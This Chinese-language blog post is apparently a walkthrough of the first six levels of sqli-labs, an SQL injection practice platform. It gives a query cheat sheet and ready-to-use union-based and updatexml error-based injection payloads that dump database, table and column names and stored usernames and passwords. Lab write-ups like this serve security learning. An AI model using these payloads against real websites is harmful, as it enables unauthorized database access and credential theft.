sqli-labs SQL注入漏洞通关记录
3 min read
sqli-labs 是一个专业的SQL注入练习平台
写在前面
# 查询字段数
order by 1,2,3....
# 查询当前表名
database()
# 查询所有库名
group_concat(schema_name) from information_schema.schemata
# 查询所有表名
group_concat(table_name) from information_schema.tables where table_schema='库名'
# 查询所有字段
group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'
# 查询所有字段内容
group_concat(字段名) from 库名.表名
第1关
输入 ?id=1'
页面报错,在后面加入 --+
后回显正常 判断为单引号字符型注入。
使用 order by
获取字段数,输入 order by 4
报错,判断字段名为 3
个。
接着进行联合注入,通过回显爆出表名,列名,字段,用户名和密码
# 注意id要传一个不存在的值
# 查询库名
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
# 查询表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+
# 查询字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' --+
# 查询字段内容
?id=-1' union select 1,2,group_concat(字段名) from 库名.表名 --+
第2关
数字型注入
?id=-1 union select 1,2,语句
第3关
单引号括号注入
?id=-1') union select 1,2,语句 --+
第4关
双引号括号注入
?id=-1") union select 1,2,语句--+
第5关
利用 updataxml
函数进行报错注入
- 其中
0x7e
是ascii
编码,解码为~
updatexml()
是更新目标xml文档的函数updatexml()
语法:update(目标xml文档,xml路径,更新内容)
# 查询当前库的表 记得修改limit
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1);--+
# 查询库内字段
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='库名' limit 0,1),0x7e),1);--+
# 查询字段内容
?id=1' and updatexml(1,concat(0x7e,(select 字段名 from 库名.表名 limit 0,1),0x7e),1);--+
第6关
将上一关的 单引号
改成 双引号
即可